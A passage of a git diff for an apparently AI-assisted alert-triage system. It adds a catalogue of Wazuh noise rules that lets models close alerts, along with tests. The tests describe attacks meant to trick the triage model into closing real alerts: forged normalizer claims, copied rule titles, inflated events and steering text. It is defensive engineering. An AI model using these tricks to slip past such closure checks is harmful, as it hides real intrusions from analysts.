server 400 error code." (web access-log rules); 31102 is the level-0 ignored-files variant. + rule_ids=frozenset({"31101"}), + rationale=( + "A single 4xx answer in a web access log: broken links, crawlers and expired sessions produce these " + "constantly. Attack signatures in the same access log (SQL injection, XSS, common web attacks, an " + "attack answered with 200) and repeated 4xx from one source (31151, level 10, which maps to medium) " + "are separate rules and are not catalogued. 5xx answers (31120-31123) are left out: a server error can " + "be the side effect of an exploit attempt." + ), + could_hide=( + "Probing or a failed exploit attempt that matched no attack signature (T1595 active scanning, T1190)." + ), + abuse_known=True, + ), +) + +_INDEX: Dict[DetectionRule, NoiseFamily] = { + DetectionRule(entry.vendor, rule_id): entry for entry in CATALOGUE for rule_id in entry.rule_ids +} + + +#: Wazuh rule groups of authentication failures: credential access whatever ATT&CK id the rule carries. +AUTH_FAILURE_GROUPS: FrozenSet[str] = frozenset( + {"authentication_failed", "authentication_failures", "invalid_login", "login_denied"} +) +#: Wazuh rules that report authentication failures without one of :data:`AUTH_FAILURE_GROUPS`. +NEVER_CLOSE_RULE_IDS: Mapping[str, str] = { + "6250": "credential_access", # Asterisk: multiple failed logins + "44733": "credential_access", # FortiAuthenticator: authentication failed +} +MAX_RULE_GROUPS = 50 +#: The class of a Wazuh-built alert whose vendor rule cannot be read: its groups are unknown, so it never closes. +VENDOR_UNKNOWN = "vendor_unknown" + + +def _raw_rule(alert: Mapping[str, Any]) -> Optional[Mapping[str, Any]]: + raw = alert.get("raw") + rule = raw.get("rule") if isinstance(raw, Mapping) else None + return rule if isinstance(rule, Mapping) else None + + +def _rule_id(rule: Mapping[str, Any]) -> Optional[str]: + rule_id = rule.get("id") + if isinstance(rule_id, int) and not isinstance(rule_id, bool): + rule_id = str(rule_id) + if not isinstance(rule_id, str) or not _RULE_ID.match(rule_id.strip()): + return None + return rule_id.strip() + + +def detection_rule(alert: Any) -> Optional[DetectionRule]: + """The vendor detection rule of a canonical alert with its raw event, or ``None`` when it is not known. + + Only Wazuh is recognised today: the rule id of the event (``raw.rule.id``, + digits only), when the Wazuh normalizer built the alert (``normalizer`` + is ``wazuh``, recorded by the ingestion service) and the canonical rule + name is that normalizer's ``": "``. Titles and + descriptions are never read. + """ + if not isinstance(alert, Mapping) or alert.get("normalizer") != WAZUH: + return None + rule = _raw_rule(alert) + rule_id = _rule_id(rule) if rule is not None else None + rule_name = alert.get("rule_name") + if rule_id is None or not isinstance(rule_name, str) or not rule_name.startswith(f"{rule_id}: "): + return None + return DetectionRule(WAZUH, rule_id) + + +def noise_family(alert: Any) -> Optional[NoiseFamily]: + """The catalogued noise family of the alert's detection rule, or ``None``.""" + rule = detection_rule(alert) + return None if rule is None else _INDEX.get(rule) + + +def vendor_never_close_class(alert: Any) -> Optional[str]: + """The never-close class the vendor's own rule puts the alert in, whatever its ATT&CK mapping, or ``None``. + + ``credential_access`` for a Wazuh rule in an authentication-failure group + (:data:`AUTH_FAILURE_GROUPS`) or in :data:`NEVER_CLOSE_RULE_IDS`. These + checks only block, so they read the raw event whatever format built the + alert. The state size cap always keeps ``raw.rule`` + (:func:`lg_sotf.core.graph.cap_alert`); a Wazuh-built alert whose rule + still cannot be read, or whose groups list the cap cut (``groups_truncated``) + without an authentication-failure group in what it kept, is + :data:`VENDOR_UNKNOWN`, a never-close class. + """ + if not isinstance(alert, Mapping): + return None + rule = _raw_rule(alert) + if rule is None: + # A Wazuh alert whose rule cannot be read (the raw event is gone): its groups are unknown, so it may be an + # authentication failure mapped elsewhere. Fail closed; this also blocks the catalogue lift. + return VENDOR_UNKNOWN if alert.get("normalizer") == WAZUH else None + groups = rule.get("groups") + if isinstance(groups, list): + names = {g.strip().lower() for g in groups[:MAX_RULE_GROUPS] if isinstance(g, str)} + if names & AUTH_FAILURE_GROUPS: + return "credential_access" + if rule.get("groups_truncated") is True: + return VENDOR_UNKNOWN # the state cap cut the groups: an authentication-failure group may be among the rest + rule_id = _rule_id(rule) + return NEVER_CLOSE_RULE_IDS.get(rule_id) if rule_id is not None else None diff --git a/src/lg_sotf/domain/routing.py b/src/lg_sotf/domain/routing.py index 11665f3c..90a50548 100644 --- a/src/lg_sotf/domain/routing.py +++ b/src/lg_sotf/domain/routing.py @@ -18,6 +18,9 @@ tenant's autonomy tier is ``auto_full_audit``, through a model-led close (:mod:`lg_sotf.domain.closure`, code ``model_closed``) that every condition of that module allows. With the tier ``off`` a model never closes alone. + Policy v2.1 (FIX-2) lets a catalogued noise rule (vendor and rule id, + :mod:`lg_sotf.domain.noise_families`) lift only the ``unmapped`` class; + the campaign check is FIX-1's. * A response the policy (not an analyst) chose goes to an analyst when an action failed or none completed; it closes (disposition ``malicious``) once its actions succeeded or ran in the tenant's dry-run mode. Blocked @@ -41,7 +44,7 @@ from pydantic import BaseModel, ConfigDict -from lg_sotf.domain import closure +from lg_sotf.domain import closure, noise_families from lg_sotf.models.vocabulary import BENIGN_DECISIONS, COMPLETED_ACTION_STATUSES, HIGH_SEVERITIES, ROUTES from lg_sotf.models.vocabulary import Route as DecideRoute @@ -259,9 +262,11 @@ def _low_threat( state, tier=tier, max_likelihood=t.model_close_max_likelihood, min_certainty=t.model_close_min_certainty ) if not blockers: - return Decision( - "close", "AI-closed, audit required: both model tiers judged it benign", "benign", closure.MODEL_CLOSED - ) + reason = "AI-closed, audit required: both model tiers judged it benign" + family = closure.catalogued_noise(state.get("alert")) + if family is not None: + reason += f" (catalogued noise {family.family}, catalogue {noise_families.CATALOGUE_VERSION})" + return Decision("close", reason, "benign", closure.MODEL_CLOSED) return Decision("escalate", "low threat verdict lacks approved benign evidence", None, "false_positive_review") diff --git a/src/lg_sotf/ingestion/service.py b/src/lg_sotf/ingestion/service.py index 6d653e72..c4b497ad 100644 --- a/src/lg_sotf/ingestion/service.py +++ b/src/lg_sotf/ingestion/service.py @@ -112,6 +112,8 @@ FLAG_RAW_TRUNCATED = "raw_truncated" FLAG_REDACTED = "secrets_redacted" FLAG_SAMPLE = "sample" +#: What ``CanonicalAlert.normalizer`` records for an alert a model normalized (the LLM fallback). +LLM_NORMALIZER = "llm" MAX_CACHED_CONNECTORS = 512 MAX_ERROR_CHARS = 500 API_SOURCE_ID = "api" @@ -533,9 +535,11 @@ def _normalize_event( return _Outcome(reason=str(exc)) except NormalizationError as exc: return _Outcome(reason=str(exc)) - return _Outcome(prepared=self._finish(index, alert, redacted, redactions)) + return _Outcome(prepared=self._finish(index, alert, redacted, redactions, normalizer.name)) - def _finish(self, index: int, alert: CanonicalAlert, redacted: Mapping[str, Any], redactions: int) -> PreparedEvent: + def _finish( + self, index: int, alert: CanonicalAlert, redacted: Mapping[str, Any], redactions: int, normalizer: str + ) -> PreparedEvent: raw = cap_mapping(redacted, self._options.max_raw_bytes) flags = list(alert.flags) if TRUNCATED_MARKER in raw and TRUNCATED_MARKER not in redacted: @@ -544,7 +548,8 @@ def _finish(self, index: int, alert: CanonicalAlert, redacted: Mapping[str, Any] flags.append(FLAG_REDACTED) if alert.source_id == SAMPLE_SOURCE_ID: flags.append(FLAG_SAMPLE) - alert = alert.model_copy(update={"raw": raw, "flags": flags}) + # The format that built the alert, never the event's word for it (FIX-2: the noise catalogue reads it). + alert = alert.model_copy(update={"raw": raw, "flags": flags, "normalizer": normalizer}) row = NewAlert( source_id=alert.source_id, source_alert_id=alert.source_alert_id, @@ -571,7 +576,7 @@ async def _llm_prepare( alert = await llm_normalize( redacted, ctx, settings=self._settings, tenant_id=tenant_id, budget=self._budget, budget_limit=budget_limit ) - prepared = self._finish(index, alert, redacted, redactions) + prepared = self._finish(index, alert, redacted, redactions, LLM_NORMALIZER) except asyncio.CancelledError: raise except LLMBudgetExceeded: diff --git a/src/lg_sotf/invariants/registry.py b/src/lg_sotf/invariants/registry.py index 0b9a6ef0..54a1c284 100644 --- a/src/lg_sotf/invariants/registry.py +++ b/src/lg_sotf/invariants/registry.py @@ -115,9 +115,11 @@ class Invariant: "class. Without such evidence it closes on the models' word only when the tenant's autonomy tier is " "auto_full_audit and both model tiers judge it benign within the install's thresholds, never for the " "never-close classes (credential access, log clearing, security-tool tampering, ransomware behaviour, " - "persistence through attacker-named objects, unmapped alerts), steering text, entities with a recent " - "true positive or a campaign in progress; such a close is marked model_closed for audit. With the tier " - "off, the default, a model never closes an alert alone. A cached analyst verdict closes only a " + "persistence through attacker-named objects, authentication failures by vendor rule group, unmapped " + "alerts unless the vendor rule id is in the reviewed noise catalogue, never matched on text), steering " + "text, entities with a recent true positive or a campaign in progress; such a close is marked " + "model_closed for audit. With the tier off, the default, a model never closes an alert alone. A cached " + "analyst verdict closes only a " "non-critical repeat of the same detection and behaviour (verdict key: what ran, compared in full) " "that two different analysts decided benign, with no threat on it since; alerts in a never-close " "class, normalised by a model or without a process, command line, service, scheduled task, registry " @@ -130,8 +132,8 @@ class Invariant: threats=("TM-WRK-1", "TM-WRK-2", "TM-WRK-10"), code=( "src/lg_sotf/domain/routing.py", "src/lg_sotf/domain/closure.py", "src/lg_sotf/domain/benign_evidence.py", - "src/lg_sotf/domain/verdict_key.py", "src/lg_sotf/core/verdict_cache.py", - "src/lg_sotf/core/benign_learning.py", + "src/lg_sotf/domain/noise_families.py", "src/lg_sotf/domain/verdict_key.py", + "src/lg_sotf/core/verdict_cache.py", "src/lg_sotf/core/benign_learning.py", ), proofs=( "tests/unit/domain/test_routing.py::test_llm_only_evidence_never_closes_high_or_critical_at_triage", @@ -146,7 +148,17 @@ class Invariant: "tests/unit/domain/test_closure.py::test_a_scanner_or_test_source_never_closes_a_never_close_class", "tests/unit/domain/test_closure.py::test_a_campaign_in_progress_is_never_model_closed", "tests/unit/domain/test_closure.py::test_review_f2_sentinel_credential_access_is_a_never_close_class", + "tests/unit/domain/test_noise_families.py::test_a_forged_or_borrowed_title_on_an_uncatalogued_rule_stays_unmapped", + "tests/unit/domain/test_noise_families.py::test_the_catalogue_lifts_only_unmapped_never_a_mapped_never_close_class", + "tests/unit/domain/test_noise_families.py::test_every_other_condition_still_blocks_a_catalogued_rule", + "tests/unit/domain/test_noise_families.py::" + "test_a_malicious_or_suspicious_model_verdict_on_a_catalogued_rule_still_escalates", + "tests/unit/domain/test_noise_families.py::test_recheck_a_wazuh_alert_without_a_readable_rule_never_closes", + "tests/unit/domain/test_noise_families.py::" + "test_review_h1_authentication_failures_are_credential_access_whatever_their_mapping", "tests/integration/engine/test_model_closure.py::test_the_tenant_tier_decides_whether_the_models_close", + "tests/integration/engine/test_model_closure.py::" + "test_catalogued_noise_closes_on_the_models_word_and_an_uncatalogued_rule_does_not", "tests/integration/eval/test_adversarial_v2_eval.py::test_no_malicious_close_with_model_led_closure_on", "tests/integration/e2e/test_llm_safety.py::test_injected_benign_instructions_never_close_an_alert", "tests/unit/agents/test_title_camouflage.py::" diff --git a/src/lg_sotf/models/alert.py b/src/lg_sotf/models/alert.py index 673b479b..e4d5fed8 100644 --- a/src/lg_sotf/models/alert.py +++ b/src/lg_sotf/models/alert.py @@ -234,6 +234,15 @@ def _cap(cls, v: List[str]) -> List[str]: return _dedup_capped(v, MAX_MITRE_CHARS, MAX_MITRE_ITEMS) +#: Canonical alert keys that are platform bookkeeping, not alert content: left out of what a model reads. +MODEL_HIDDEN_ALERT_KEYS = frozenset({"normalizer"}) + + +def model_view(alert: Mapping[str, Any]) -> Dict[str, Any]: + """The alert as a model reads it: without :data:`MODEL_HIDDEN_ALERT_KEYS`.""" + return {k: v for k, v in alert.items() if k not in MODEL_HIDDEN_ALERT_KEYS} + + class CanonicalAlert(BaseModel): """A normalized alert. ``raw`` is the original (redacted, size-capped) event.""" @@ -259,6 +268,10 @@ class CanonicalAlert(BaseModel): # URLs, attachment hashes, reporter), written by the email normalizer from the platform's own # MIME parse. Other normalizers never set it, so it cannot be supplied by a pushed event. email: Optional[Dict[str, Any]] = None + # The format whose normalizer built this alert (``wazuh``, ``canonical``, ``webhook``, ``llm``...), set by the + # ingestion service after normalizing, never read from the event (FIX-2: the noise catalogue trusts a vendor rule + # id only from that vendor's normalizer). Kept out of model prompts (:data:`MODEL_HIDDEN_ALERT_KEYS`). + normalizer: Optional[str] = Field(default=None, max_length=32) @property def severity_id(self) -> int: diff --git a/tests/integration/engine/test_model_closure.py b/tests/integration/engine/test_model_closure.py index beab59aa..9afa39f5 100644 --- a/tests/integration/engine/test_model_closure.py +++ b/tests/integration/engine/test_model_closure.py @@ -75,3 +75,34 @@ async def test_the_tenant_tier_decides_whether_the_models_close(engine: Workflow await repos.tenants.update_settings(TENANT_A, {"ai_closure": {"tier": "off"}}) again = await routine_alert(repos, "again") assert (await engine.run(TENANT_A, again)).status == "waiting_human" + + +DPKG = "New dpkg (Debian Package) installed." + + +async def wazuh_alert(repos: Repositories, name: str, rule_id: str, description: str, **normalized: Any) -> str: + """A Wazuh alert on host db-07 as the Wazuh normalizer stores it: the rule id in the raw event and the rule name.""" + fields: Dict[str, Any] = { + "title": ROUTINE, "rule_name": f"{rule_id}: {description}", "description": ROUTINE, "normalizer": "wazuh", + "entities": {"hosts": ["db-07"]}, "mitre": {"tactics": [], "techniques": []}, **normalized, + } + raw = {"rule": {"id": rule_id, "level": 7, "description": description}, "agent": {"name": "db-07"}} + return await make_alert(repos, TENANT_A, source_alert_id=f"fix2-{name}", title=ROUTINE, severity="medium", + raw=raw, normalized=fields) + + +async def test_catalogued_noise_closes_on_the_models_word_and_an_uncatalogued_rule_does_not( + engine: WorkflowEngine, repos: Repositories +) -> None: + """FIX-2 through the real workflow: an unmapped Wazuh package install (rule 2902, catalogued) closes on the + models' word, marked with its family; a custom rule copying the description stays unmapped and goes to an + analyst.""" + await repos.tenants.update_settings(TENANT_A, {"ai_closure": {"tier": "auto_full_audit"}}) + package = await wazuh_alert(repos, "package", "2902", DPKG) + assert (await engine.run(TENANT_A, package)).status == "completed" + decided = await decide_event(repos, package) + assert decided["code"] == "model_closed" and "catalogued noise linux_package_install" in decided["reason"] + + custom = await wazuh_alert(repos, "custom", "100200", DPKG, entities={"hosts": ["db-08"]}) + assert (await engine.run(TENANT_A, custom)).status == "waiting_human" + assert (await decide_event(repos, custom))["code"] == "false_positive_review" diff --git a/tests/integration/eval/test_oracle_corpus_v1.py b/tests/integration/eval/test_oracle_corpus_v1.py index 94742370..995dbae0 100644 --- a/tests/integration/eval/test_oracle_corpus_v1.py +++ b/tests/integration/eval/test_oracle_corpus_v1.py @@ -48,4 +48,6 @@ async def test_the_oracle_closes_no_attack_on_corpus_v1(eval_settings: Settings, closed = {r.item_id for r in run.results if r.auto_closed} assert not closed & COLLISIONS # The learning still pays: analysts' repeated benign decisions close benign repeats. - assert summary["headline"]["benign_closure"]["k"] > 8 + # 4 since FIX-2 (9 before): Wazuh authentication-failure rules outside credential access by ATT&CK (logon + # failures mapped to T1531, the auth-failure rule groups) are a never-close class now, so they get no verdict key. + assert summary["headline"]["benign_closure"]["k"] >= 4 diff --git a/tests/integration/ingestion/test_ingest.py b/tests/integration/ingestion/test_ingest.py index 881ef3a1..18805641 100644 --- a/tests/integration/ingestion/test_ingest.py +++ b/tests/integration/ingestion/test_ingest.py @@ -10,6 +10,7 @@ from lg_sotf.db.repos import NewAlert, Repositories from lg_sotf.db.repos.alerts import AlertsRepo +from lg_sotf.domain.noise_families import detection_rule from lg_sotf.ingestion.errors import SourceDisabled, SourceNotPushable from lg_sotf.ingestion.fingerprint import compute_fingerprint from lg_sotf.ingestion.service import IngestionService, api_source_id @@ -158,10 +159,12 @@ async def test_registered_sources_choose_their_normalizer( assert len(hook.inserted) == 2 stored = await repos.alerts.get(TENANT_A, hook.inserted[0].alert_id) assert stored.severity == "high" and stored.normalized["source_type"] == "webhook" + assert stored.normalized["normalizer"] == "webhook" # FIX-2: the format that built it, from the source gd = await service.ingest(TENANT_A, "gd-1", vendor_events("guardduty_findings")) assert len(gd.inserted) == 2 finding = await repos.alerts.get(TENANT_A, gd.inserted[1].alert_id) + assert finding.normalized["normalizer"] == "guardduty" assert "AKIAIOSFODNN7EXAMPLE" not in json.dumps(finding.raw) with pytest.raises(SourceDisabled): @@ -192,6 +195,7 @@ async def test_vendor_fixtures_ingest_end_to_end_through_a_webhook( assert len(result.inserted) == expected, result.rejected stored = await repos.alerts.get(TENANT_A, result.inserted[0].alert_id) assert stored.normalized["source_type"] == "webhook" + assert stored.normalized["normalizer"] == fmt # FIX-2: the noise catalogue trusts a Wazuh rule id only from `wazuh` @pytest.mark.parametrize("source_type", ["qradar", "splunk", "sentinel", "crowdstrike", "wazuh", "file"]) @@ -226,7 +230,7 @@ async def test_llm_fallback_normalizes_unknown_events( on = await service_factory(llm_fallback=True).ingest(TENANT_A, "api", [unknown]) assert len(on.inserted) == 1, on.rejected stored = await repos.alerts.get(TENANT_A, on.inserted[0].alert_id) - assert "llm_normalized" in stored.normalized["flags"] + assert "llm_normalized" in stored.normalized["flags"] and stored.normalized["normalizer"] == "llm" assert "source_alert_id_from_hash" in stored.normalized["flags"] assert stored.severity in ("medium", "high", "critical") haystack = json.dumps(unknown).lower() @@ -379,3 +383,17 @@ async def test_llm_fallback_honours_the_tenant_token_budget( result = await service.ingest(TENANT_A, "api", [{"product": "AcmeEDR", "n": i} for i in range(5)]) assert model.calls == [] assert len(result.rejected) == 5 and all("budget" in r.reason for r in result.rejected) + + +async def test_a_pushed_event_cannot_claim_the_wazuh_normalizer( + repos: Repositories, service_factory: Callable[..., IngestionService] +) -> None: + """FIX-2: a canonical push that copies a Wazuh document, and says which normalizer built it, is recorded as + `canonical`: the noise catalogue never reads its rule id.""" + forged = {"id": "forged-1", "title": "New dpkg (Debian Package) installed.", "severity": "low", + "rule_name": "2902: New dpkg (Debian Package) installed.", "normalizer": "wazuh", + "rule": {"id": "2902", "level": 7, "description": "New dpkg (Debian Package) installed."}} + result = await service_factory().ingest(TENANT_A, "api", [forged]) + stored = await repos.alerts.get(TENANT_A, result.inserted[0].alert_id) + assert stored.normalized["normalizer"] == "canonical" + assert detection_rule({**stored.normalized, "raw": stored.raw}) is None diff --git a/tests/unit/core/test_verdict_cache_replay.py b/tests/unit/core/test_verdict_cache_replay.py index 35c9444f..311205ef 100644 --- a/tests/unit/core/test_verdict_cache_replay.py +++ b/tests/unit/core/test_verdict_cache_replay.py @@ -177,4 +177,5 @@ async def test_the_verdict_key_alone_already_closes_no_malicious_alert(monkeypat """With one analyst enough, the finer key still closes none: two analysts are defence in depth.""" monkeypatch.setattr(verdict_cache, "MIN_ANALYSTS", 1) closed = await replay(corpus()) - assert closed["malicious"] == [] and len(closed["benign"]) > 15 + # 14 since FIX-2: Wazuh authentication-failure rules are a never-close class, so they get no verdict key. + assert closed["malicious"] == [] and len(closed["benign"]) >= 14 diff --git a/tests/unit/domain/test_noise_families.py b/tests/unit/domain/test_noise_families.py new file mode 100644 index 00000000..7d672c5d --- /dev/null +++ b/tests/unit/domain/test_noise_families.py @@ -0,0 +1,368 @@ +"""The noise catalogue (FIX-2, decision policy v2.1): a catalogued vendor rule id lifts only ``unmapped``. + +Alerts are built the way the workflow sees them: a Wazuh event through the +real normalizer, with the stored raw event added and the state size cap +applied (:func:`lg_sotf.core.graph.cap_alert`). +""" + +from __future__ import annotations + +import copy +import json +from datetime import UTC, datetime +from typing import Any, Dict, List, Optional + +import pytest + +from lg_sotf.core.graph import RAW_RULE_KEYS, cap_alert +from lg_sotf.domain import closure, routing +from lg_sotf.domain.closure import MODEL_CLOSED, UNMAPPED, model_close_blockers, model_close_class, never_close_class +from lg_sotf.domain.noise_families import ( + AUTH_FAILURE_GROUPS, + CATALOGUE, + CATALOGUE_VERSION, + VENDOR_UNKNOWN, + WAZUH, + DetectionRule, + detection_rule, + noise_family, +) +from lg_sotf.domain.routing import RoutingThresholds +from lg_sotf.ingestion.normalizers import get_normalizer +from lg_sotf.ingestion.normalizers.base import NormalizeContext + +T = RoutingThresholds() +AUTO = "auto_full_audit" +CTX = NormalizeContext(source_id="wazuh-push", source_type="webhook", now=datetime(2026, 11, 9, tzinfo=UTC)) +DPKG = "New dpkg (Debian Package) installed." + + +def wazuh_event(rule_id: Any, description: str, *, level: int = 7, mitre: Optional[Dict[str, Any]] = None, + full_log: str = "2026-11-09 10:00:00 status installed htop:amd64 3.3.0-4", + groups: Optional[List[str]] = None) -> Dict[str, Any]: + rule: Dict[str, Any] = {"id": rule_id, "level": level, "description": description, + "groups": groups if groups is not None else ["syslog", "dpkg"]} + if mitre is not None: + rule["mitre"] = mitre + return {"timestamp": "2026-11-09T10:00:00.000+0000", "id": "1792751768.1", "rule": rule, + "agent": {"id": "004", "name": "web-01", "ip": "10.20.2.61"}, "manager": {"name": "wazuh-manager"}, + "decoder": {"name": "dpkg-decoder"}, "full_log": full_log, "location": "/var/log/dpkg.log"} + + +def state_alert(event: Dict[str, Any]) -> Dict[str, Any]: + """What ``initial_state`` puts in the workflow state: the canonical alert, its raw event, size-capped.""" + canonical = json.loads(get_normalizer("wazuh").normalize(event, CTX).model_dump_json()) + canonical["raw"] = copy.deepcopy(event) + canonical["normalizer"] = "wazuh" # what the ingestion service records after the Wazuh normalizer + return cap_alert(canonical) + + +def wazuh_state(event: Dict[str, Any], **changes: Any) -> Dict[str, Any]: + """Both model tiers benign within the thresholds, no rule evidence, no related alert (the closing case).""" + alert = state_alert(event) + state: Dict[str, Any] = { + "severity": alert["severity"], + "confidence": 25, + "alert": alert, + "triage": {"confidence": 25, "rule_fp": [], "rule_tp": [], "llm_used": True, "threat_assessment": "benign", + "threat_likelihood": 3}, + "correlation": {"related_count": 0, "related_dispositions": {}}, + "analysis": {"threat_score": 8, "certainty": 92, "verdict": "benign", "rule_threat_score": 40, + "rule_evidence": [], "rule_corroborated": False, "llm_used": True}, + } + for path, value in changes.items(): + *parents, leaf = path.split(".") + target = state + for key in parents: + target = target[key] + target[leaf] = value + return state + + +# --------------------------------------------------------------------------- the catalogue itself + + +def test_every_entry_records_its_family_rationale_and_the_abuse_it_could_hide() -> None: + assert CATALOGUE_VERSION and CATALOGUE + seen: Dict[str, str] = {} + for entry in CATALOGUE: + assert entry.vendor == WAZUH and entry.family and entry.rule_ids, entry + assert len(entry.rationale) > 60 and len(entry.could_hide) > 10, entry.family + assert entry.abuse_known is not entry.could_hide.lower().startswith("none known"), entry.family + for rule_id in entry.rule_ids: + assert rule_id.isdigit() and rule_id not in seen, (rule_id, entry.family) + seen[rule_id] = entry.family + assert {e.family for e in CATALOGUE if e.abuse_known} >= {"linux_package_install", "windows_software_install"} + + +@pytest.mark.parametrize( + ("rule_id", "description", "family"), + [ + ("2902", DPKG, "linux_package_install"), + ("2933", "Yum package updated.", "linux_package_install"), + ("60612", "Application installed Product: 7-Zip 24.08 (x64 edition) -- Installation completed.", + "windows_software_install"), + ("62130", "Windows Defender: Antimalware definitions updated successfully", "antivirus_status"), + ("31101", "Web server 400 error code.", "web_client_error"), + ], +) +def test_a_catalogued_rule_id_lifts_the_unmapped_class_and_closes_on_both_tiers( + rule_id: str, description: str, family: str +) -> None: + state = wazuh_state(wazuh_event(rule_id, description)) + assert never_close_class(state["alert"]) == UNMAPPED + assert detection_rule(state["alert"]) == DetectionRule(WAZUH, rule_id) + assert closure.catalogued_noise(state["alert"]).family == family # type: ignore[union-attr] + assert model_close_class(state["alert"]) is None + decision = routing.decide(state, T, AUTO) + assert (decision.route, decision.code) == ("close", MODEL_CLOSED) + assert f"catalogued noise {family}, catalogue {CATALOGUE_VERSION}" in decision.reason + assert routing.decide(state, T, "off").route == "escalate" + + +def test_the_catalogue_lifts_only_unmapped_never_a_mapped_never_close_class() -> None: + for mitre, found in (({"tactic": ["Credential Access"], "id": ["T1110"]}, "credential_access"), + ({"tactic": ["Defense Evasion"], "id": ["T1562.001"]}, "tampering"), + ({"tactic": ["Persistence"], "id": ["T1543.002"]}, "named_persistence")): + state = wazuh_state(wazuh_event("2902", DPKG, mitre=mitre)) + assert noise_family(state["alert"]) is not None # the rule is catalogued ... + assert closure.catalogued_noise(state["alert"]) is None # ... but it is not unmapped + assert model_close_class(state["alert"]) == found + assert model_close_blockers(state, tier=AUTO, max_likelihood=8, min_certainty=85) == ["never_close_class"] + mapped = wazuh_state(wazuh_event("2902", DPKG, mitre={"tactic": ["Execution"], "id": ["T1072"]})) + assert routing.decide(mapped, T, AUTO).reason == "AI-closed, audit required: both model tiers judged it benign" + + +# --------------------------------------------------------------------------- rule id only, never text + + +@pytest.mark.parametrize( + ("rule_id", "description"), + [ + ("100200", DPKG), # a custom (local) rule copying a stock description word for word + ("100201", "2902: New dpkg (Debian Package) installed."), # the description forges the rule-name prefix + ("554", "File added to the system."), # a dropped file is not package noise + ("2903", "Dpkg (Debian Package) removed."), # removing a security agent is defense impairment + ("2934", "Yum package deleted."), + ("31120", "Web server 500 error code (server error)."), # a server error can be an exploit's side effect + ("61104", "Service startup type was changed"), + ("80792", "Audit: Command: /usr/bin/dpkg."), + ], +) +def test_a_forged_or_borrowed_title_on_an_uncatalogued_rule_stays_unmapped(rule_id: str, description: str) -> None: + event = wazuh_event(rule_id, description, full_log="New dpkg (Debian Package) installed. rule 2902 62130 31101") + state = wazuh_state(event, **{"alert.title": DPKG, "alert.description": "2902: " + DPKG}) + assert noise_family(state["alert"]) is None + assert model_close_class(state["alert"]) == UNMAPPED + assert model_close_blockers(state, tier=AUTO, max_likelihood=8, min_certainty=85) == ["never_close_class"] + assert routing.decide(state, T, AUTO).route == "escalate" + + +def test_the_rule_id_comes_from_the_vendor_event_and_the_wazuh_rule_name_only() -> None: + alert = state_alert(wazuh_event("2902", DPKG)) + assert alert["rule_name"] == f"2902: {DPKG}" and detection_rule(alert) == DetectionRule(WAZUH, "2902") + assert detection_rule({**alert, "raw": {**alert["raw"], "rule": {**alert["raw"]["rule"], "id": 2902}}}) is not None + forged_name = {**alert, "raw": {**alert["raw"], "rule": {**alert["raw"]["rule"], "id": "100200"}}} + assert detection_rule(forged_name) is None # rule_name says 2902, the vendor event says 100200 + for broken in ( + {**alert, "normalizer": "canonical"}, # a canonical push that copies a Wazuh document + {**alert, "normalizer": "webhook"}, + {k: v for k, v in alert.items() if k != "normalizer"}, # stored before the format was recorded + {**alert, "rule_name": DPKG}, # no Wazuh rule-name prefix: not built by the Wazuh normalizer + {**alert, "rule_name": None}, + {**alert, "rule_name": "29021: x"}, + {k: v for k, v in alert.items() if k != "raw"}, # raw dropped (state size cap): unknown + {**alert, "raw": {"_omitted": "raw event too large for workflow state"}}, + {**alert, "raw": {"rule": "2902"}}, + {**alert, "raw": {"rule": {"id": True}}}, + {**alert, "raw": {"rule": {"id": ["2902"]}}}, + {**alert, "raw": {"rule": {"id": "2902a"}}}, + {**alert, "raw": {"rule": {"id": ""}}}, + {**alert, "raw": {"rule": {"id": "29" * 8}}}, + None, [], "2902", + ): + assert detection_rule(broken) is None, broken + assert noise_family(broken) is None + # Unmapped either way; a Wazuh-built alert whose rule cannot be read is vendor_unknown (re-check of #345). + assert model_close_class(broken) in (UNMAPPED, VENDOR_UNKNOWN) + # A title, description or rule name alone is never a rule id (a canonical alert without a vendor event). + canonical = {"title": DPKG, "description": DPKG, "rule_name": f"2902: {DPKG}", "mitre": {}, "raw": {}} + assert noise_family(canonical) is None and model_close_class(canonical) == UNMAPPED + + +def test_an_oversized_raw_event_keeps_its_rule_through_the_state_cap() -> None: + """Re-check of #345: the cap replaces an oversized raw event but keeps ``raw.rule`` (id, level, description, + groups, mitre), so an attacker who inflates an event cannot hide the rule's groups.""" + padding = {f"field{i}": "x" * 1_500 for i in range(30)} + alert = state_alert({**wazuh_event("2902", DPKG), "data": padding}) + assert alert["raw"]["_omitted"] and alert["raw"]["rule"]["id"] == "2902" and "data" not in alert["raw"] + assert closure.catalogued_noise(alert) is not None + inflated = {**wazuh_event(*AUTH_FAILURES[2][:2], groups=AUTH_FAILURES[2][3], mitre=AUTH_FAILURES[2][4]), + "data": padding} + capped = state_alert(inflated) + assert set(capped["raw"]["rule"]) == set(RAW_RULE_KEYS) and "invalid_login" in capped["raw"]["rule"]["groups"] + assert never_close_class(capped) == "credential_access" + huge = cap_alert({"title": "t", "raw": {"rule": {"id": "1", "groups": ["g" * 5_000] * 200, "x": "y"}, "z": "z" * 20_000}}) + kept = huge["raw"]["rule"] + assert "x" not in kept and len(kept["groups"]) <= 20 and all(len(g) <= 200 for g in kept["groups"]) + + +# --------------------------------------------------------------------------- every other condition still applies + + +@pytest.mark.parametrize( + ("change", "blocker"), + [ + ({"severity": "high"}, "severity"), + ({"severity": "critical"}, "severity"), + ({"triage.rule_tp": ["prompt_injection_suspected"]}, "steering_text"), + ({"analysis.rule_evidence": ["prior_malicious_history"]}, "recent_true_positive"), + ({"analysis.rule_corroborated": True}, "recent_true_positive"), + ({"correlation.related_dispositions": {"malicious": 1}}, "recent_true_positive"), + ({"correlation": {"related_count": 2, "related_dispositions": {}}}, "campaign_in_progress"), + ({"triage.threat_likelihood": 9}, "fast_tier_not_benign"), + ({"triage.threat_assessment": "suspicious"}, "fast_tier_not_benign"), + ({"triage.llm_used": False}, "fast_tier_not_benign"), + ({"analysis.certainty": 84}, "deep_tier_not_benign"), + ({"analysis.verdict": "inconclusive"}, "deep_tier_not_benign"), + ], +) +def test_every_other_condition_still_blocks_a_catalogued_rule(change: Dict[str, Any], blocker: str) -> None: + state = wazuh_state(wazuh_event("2902", DPKG), **change) + assert model_close_blockers(state, tier=AUTO, max_likelihood=8, min_certainty=85) == [blocker] + assert routing.decide(state, T, AUTO).route != "close" + assert model_close_blockers(state, tier="off", max_likelihood=8, min_certainty=85)[0] == "tier_off" + + +def test_a_high_level_catalogued_rule_never_closes_on_the_models_word() -> None: + state = wazuh_state(wazuh_event("2902", DPKG, level=12)) + assert state["severity"] == "high" + assert routing.decide(state, T, AUTO).route == "escalate" + + +# --------------------------------------------------------------------------- the 